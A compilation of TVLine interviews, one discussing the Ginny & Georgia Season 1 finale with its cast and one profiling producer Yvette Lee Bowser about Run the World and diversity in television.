TVLINE | The season ends with Ginny running away with her little brother. What’s your theory on where she’s going?
OK, well, if you’re paying attention, because there are a lot of Easter eggs and things that you can miss quickly if you don’t… I would say, watch the show with subtitles on. I don’t know if you notice, but when she’s packing her bag, she grabs the book that Zion gives her, and if you were paying attention, when Zion arrives and is giving her the book, you know that he included an address. He has that secret coded message in it, and she finds out that it’s his address to his Boston apartment. So I’m thinking it’s pretty reasonable to assume that Ginny might be headed toward Zion, but I don’t want to tell people what to think, even though the clues are all there.

Ginny & Georgia RecapTVLINE | In the finale, all of Georgia’s secrets are unearthed, and there’s that scene with the P.I., where Ginny finds out the truth. How do you think Ginny now views her mom in light of all that she’s learned?
I think she’s just scared of her. She still relies on the “family comes first” thing, which is why, I think, she doesn’t turn her mom in, or she doesn’t go along with Cordova. But the fact that she runs away from her mom really just shows how much she is afraid of what her mom is capable of. And I think, on a deeper sense, too, she’s afraid that she might turn into her mom — not that she would kill anyone. But just the fact that her mom is capable of doing that, she’s just really confused. So she’s protecting her mom, yes, but I think that’s just based on instinct. Her mom has always told them, “Us against the world,” things like that. So she’s doing what her mom has always said to do… But it’s just really complicated. She loves her mom, but man, that’s a huge secret.

TVLINE | Who do you think that Georgia should end up with: Paul, Joe or Ginny’s father Zion?
Man, for Ginny’s sake, I say Zion, all the way. But for my sake, as an audience member, Joe, for sure. He’s just such a sweetheart.

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Warning: The following contains major spoilers for Ginny & Georgia’s finale. Proceed at your own risk!

Ginny & Georgia‘s titular single mom has no shortage of love interests: There’s her daughter’s free-spirited father Zion (The Boys‘ Nathan Mitchell), the successful local mayor Paul (Hart of Dixie‘s Scott Porter) and charming, curmudgeonly café owner Joe (Degrassi: The Next Generation‘s Raymond Ablack). But after the Netflix dramedy’s Season 1 finale, only one fella can call himself Georgia’s fiancé, although he might not necessarily be her true love.

In the episode, Joe decides to tell Georgia (Batwoman‘s Brianne Howey) that he has feelings for her after he realizes the 15-year-old girl with whom he had a memorable rest-stop encounter as a teen was Georgia. While Joe’s memory isn’t spurred until Ginny (Raising Dion‘s Antonia Gentry) pulls out her mom’s sunglasses, which a young Joe gifted her, creator Sarah Lampert confirms that Georgia remembers Joe. “We hint at the answer to that with their very, very, very first interaction, when he comes up to her, and she says, ‘Hey, Joe.’ Georgia’s not one to forget anything,” Lampert says with a laugh.

But just when Joe — who named his horse Milkshake, after something young Georgia said to him — is about to confess how he feels, he learns that Georgia is now engaged to Paul.

Elsewhere in the finale, Georgia’s secrets start to catch up with her. First, her colleague at the mayor’s office catches on to her check scheme. Then, unbeknownst to Georgia, Ginny finds out that her mom poisoned her stepfather after she witnessed him, suggestively, putting his hands on Ginny. Knowing the truth about her mother’s dangerous actions, Ginny does just what her mom taught her: she runs away.

Below, Howey talks about Georgia and Joe’s connection, how her character will deal with the finale cliffhanger and whether Georgia was justified in her choice.

TVLINE | There are a lot of eligible bachelors in Georgia’s life, between Paul, Zion and Joe. Which fella do you think Georgia is meant to be with?
Georgia’s prospects are looking very bright! Georgia has some really, really wonderful options. I think there’s a little part of her that, of course, wants it to work with Zion, for the sake of Ginny, because that’s Ginny’s dream, and Zion really is the true love of her life. But they’re sort of ships passing in the night.

Ginny & Georgia Recap FinaleOne of my favorite lines is, “Paul ‘Waiting for His Bachelor Casting Call’ Randolph,” because I love The Bachelor. Scott is so incredibly charming and wonderful and so fun to work with. I think Georgia loves the idea of Paul and starts to convince herself that he’s really The One. But then Joe comes along and throws a wrench in everything. So it really is Sophie’s Choice. It’s too hard.

TVLINE | Georgia remembers Joe, but doesn’t say anything to him about it, whereas for him, it’s the sunglasses that trigger the memory of her. But clearly, she meant something to him because he named his horse Milkshake. Is the significance of that lingering encounter a sign that these two are meant to end up together?
It’s a possibility. There’s something really beautiful about Georgia and Joe, because not many people get to know the real Georgia. Because she did meet Joe so young, when she was so vulnerable, he was able to see her in a light no one else has, and right when he met her, she was taking on a new identity. That’s really when she became Georgia, so he was the last person to meet her as Mary, in a way, without knowing it. So I think there’s a lot of possibility there.

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TVLINE | Does she have romantic feelings for him when she comes to Wellsbury and they start to connect on a new level as adults?
I think once he loosens up and starts playing her game a little bit, he’s 100 percent on her radar. But Georgia, unfortunately, is juggling so many narratives and holding on so tight to this house of cards she’s created. I don’t know that right when they meet, she has the time yet. She’s focusing so hard on making sure no one can see any of the cracks.

TVLINE | They definitely shared a moment in her bedroom, though.
100 percent. I think Joe holds a very, very special place in her heart. Joe has his life together, and Georgia’s not always the most vulnerable in sharing what’s really going on with her. She’s the queen of con.

TVLINE | In the finale, there are quite a few secrets that start to come out about Georgia’s past and what she’s done. How worried should we be about Georgia’s prospects moving forward?
[Laughs] You know, if there’s anything we’ve learned from Georgia, it’s that she is a woman with a plan, and she is always prepared. Georgia lives her life playing a game of chess that no one else knows that they’re in. So I have faith Georgia is constantly four steps ahead of everybody, and I think she’s got a few things in her back pocket.

Ginny & Georgia Recap FinaleTVLINE | But she’s potentially lost her daughter. So how will that affect her?
I fear she might burn Wellsbury to the ground when she finds out. She will not go quietly. I don’t know. I’m incredibly excited to see what happens there.

TVLINE | Obviously, the sexual abuse in her own past informed what Georgia did, but one could argue that she could have gone to the police. What did you think of her choice?
I think we don’t always know how we’re going to respond when it’s time to protect our children until we’re really in that moment, and I think Georgia is a survivor and has a lot of trauma she hasn’t worked through at all, because that’s also a luxury not everyone is afforded. You don’t always have the time and money to work through these things in a healthy way, and Georgia certainly has not, and I think at the end of the day, her tools are more limited. Georgia grew up in an unconventional way, and I think in her heart of hearts, she did what was right — for her. [Laughs]

TVLINE | As the season unfolds, we start to peel back more and more of what happened to Georgia and who she is. Was there a particular moment in the season where you really felt like you got her and understood her fully?
There’s two scenes that come to mind, and one is with her sister Maddie, when she finds out Maddie’s true intentions, and she drops the 10 grand on the table and tells her to get out of her life. And also, when Zion leaves, and she sort of starts to have a panic attack and realizes that now that means her future is Paul. I think they’re both incredibly telling about Georgia’s character, because she’s protecting her kids, and she’s trying to set herself up for success in the future. Georgia’s not really following her heart. She has a plan.

Ginny & Georgia Recap FinaleTVLINE | One last question: Georgia is such a firecracker of a character. Do you have a favorite scene or a line of hers?
[Laughs] Oh, my gosh! I mean, there’s too many. I love the scene when she picks the girls up from shoplifting, and she’s sort of lays it on the saleswoman. That’s one of my favorite Georgia moments, and actually, probably sums up Georgia really well in one scene. I love when she takes Austin to go punch his bully behind the tree because that’s what bees do.

What did you think of the Ginny & Georgia season ender? Grade it below, then hit the comments!

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It’s been nearly three decades since Yvette Lee Bowser blazed a trail as the first Black woman to develop her own primetime series, with the funny and relatable Fox sitcom Living Single. But her long and impressive list of career accomplishments in television doesn’t end there.

In addition to Living Single, her executive producing credits include Dear White People, Half & Half and For Your Love. Bowser has also worked as a consulting producer on black-ish and Happily Divorced, and as a producer on A Different World and Hangin’ With Mr. Cooper. Her success as both an EP and showrunner on Netflix’s adaptation of the celebrated 2014 film Dear White People caught the attention of Lionsgate Television, the studio behind the series.

Lionsgate signed Bowser and her SisterLee Productions to an overall deal to develop and produce new projects, and this includes the upcoming half-hour comedy Run the World, which she is currently working on for Starz. Starring Bresha Webb, Amber Stevens West, Corbin Reid Sondi and Andrea Bordeaux, the show will follow four career-driven besties as they live, love and thrive in Harlem. (Think Living Single, but more modern and not in Brooklyn.) Bowser will serve as the showrunner and executive-produce it with creator Leigh Davenport.

The fact that Bowser is returning to the strong bond between Black professional women as the center of their own world is no coincidence. “One aspect that I brought to Run the World in development was to make the friendships more central, more tribal,” she tells TVLine. “I wanted this to be a show about enviable female friendships. Which is part of my brand. I think it’s important that we see ourselves leaning on each other and propping each other up.”

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TVLINE |  What are your thoughts on the current television landscape? Things are a lot more diverse than when you made history as the first Black woman to develop her own show. But are things better or worse? Why, or why not?
Things are markedly better. Like anything, the TV landscape ebbs and flows. It has evolved in such a way that there are currently 400-plus scripted programs, so there’s more opportunity in general. And hopefully people of color will get their fair share of opportunities to tell their stories in their unique way. There’s no doubt we’re experiencing a Black renaissance, which is a wonderful thing. Additionally, there’s more genuine interest in our stories.

In the ’80s and ’90s, there was interest in the “optics of inclusion.” Now we seem headed toward a place where there’s more investment in inclusion. I think that’s the biggest difference: optics versus actual investment. There was a time when Black writers were primarily focused on equal opportunity. But now, more than ever, we’re focused on raising the bar and are able to bring the best and the brightest
into the fold.

TVLINE | What makes Run the World timely and empowering? Can you talk about your working relationship with Lionsgate TV and how they supported you to turn your vision into a reality?
It’s always timely to tell stories of diverse, ambitious, brilliant women. Additionally, there is a very dynamic, mostly female team behind the series. I brought Lionsgate a script by an unestablished writer whom I thought had an interesting voice, and the studio trusted me to develop the script into a viable series. That’s the kind of partnership and support creators and showrunners need and can’t thrive without. In that same window of time, Starz was considering buying a similarly themed project, but they valued my stewardship of this particular take and gave the show the nod. That’s trust.

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TVLINE | Lena Waithe (Master of None, The Chi) often names you as someone she admires and respects. Can you talk about your working relationship with her and why that matters?
Lena has a very aspirational come-up story, and we need more of those. I’ve known Lena for about 15 years, and I respect her journey and her grind. One of the things I appreciate most, is her willingness to lift others the way she was lifted. She’s humble enough to acknowledge that no one does this alone. These Hollywood streets will test you.

TVLINE |  Can you talk about how you feel as a Black creator? Do you feel an added amount of responsibility or pressure in any way?
Given that I came up in a creative environment where our art was our activism, my work has always had that patina. We all know that to whom much is given, much is required. I feel an innate sense of responsibility when it comes to depictions of women and people of color, but that doesn’t mean that I’m overly precious about the characters I develop and the scenarios I put them in. I love creating complex, flawed characters and throwing them into messy challenging situations.

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TVLINE | What shows and or creators do you admire and why?
If I had to pick a new creator that I admire, it would be Issa Rae. She’s just a delightful, brilliant young woman who is constantly telling her truth in a fresh way. There’s a whole generation of young Black creators that are cranking out content I have so much respect for. I particularly love shows like The Sopranos, Ozark, and Breaking Bad because they’re shows I love to watch, and think I could write, but don’t have the nerve to. I also dig Bridgerton which is just a light romp of an eye-gasm.

TVLINE | One of the beautiful things about Living Single and Dear White People was the variety of Black experiences and skin tones that are included. Can you talk about why this is so important?
Having a variety of experiences and skin tones reflected in my work is a primary goal of mine. It’s essential that we see ourselves in the full array of our beauty and complexity which includes complexion. I’ve never run a show where it wasn’t important for us to explore the spectrum of who we are.

TVLINE | Is there a Living Single reunion or revival in the works? If so, when can we expect that and what will it look like?
Bless your heart for trying. But I won’t be speaking on the topic at this time.

Also read TVLine’s Black+Bold profile on Bob Hearts Abishola‘s Gina Yashere

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